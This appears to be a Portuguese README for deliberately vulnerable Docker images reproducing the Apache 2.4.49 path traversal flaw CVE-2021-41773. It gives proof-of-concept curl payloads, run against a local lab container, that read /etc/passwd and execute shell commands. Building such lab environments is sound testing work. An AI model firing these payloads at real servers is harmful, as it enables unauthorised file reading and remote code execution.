Imagens Docker vulneráveis para Apache path traversal CVE-2021-41773

Esta vulnerabilidade apenas se aplica à versão 2.4.49 com configurações não padrão específicas. Em certas situações, pode resultar em leitura de arquivos ou execução de código.

https://twitter.com/ptswarm/status/1445376079548624899

Configuração vulnerável para leitura de arquivos

Os contêineres podem ser baixados diretamente do Docker Hub usando

docker pull blueteamsteve/cve-2021-41773:no-cgid

e executados usando

docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid

Os logs do Apache podem ser visualizados com o comando abaixo, ou apenas remova "-dit" do comando run acima para usar stdio em streaming docker logs <container-id>

PoC para leitura de arquivos

curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

Configuração vulnerável para RCE

Os contêineres podem ser baixados diretamente do Docker Hub usando

docker pull blueteamsteve/cve-2021-41773:with-cgid

e executados usando

docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:with-cgid

Os logs do Apache podem ser visualizados com o comando abaixo, ou apenas remova "-dit" do comando run acima para usar stdio em streaming docker logs <container-id>

PoC para RCE

curl 'localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|echo;id'

Criar contêineres Docker personalizados

Modifique e crie suas próprias versões usando o dockerfile e os arquivos de template httpd.conf nos subdiretórios

• Use ./no-cgi para a configuração vulnerável à leitura de arquivos
• Use ./with-cgi para a configuração vulnerável à execução de código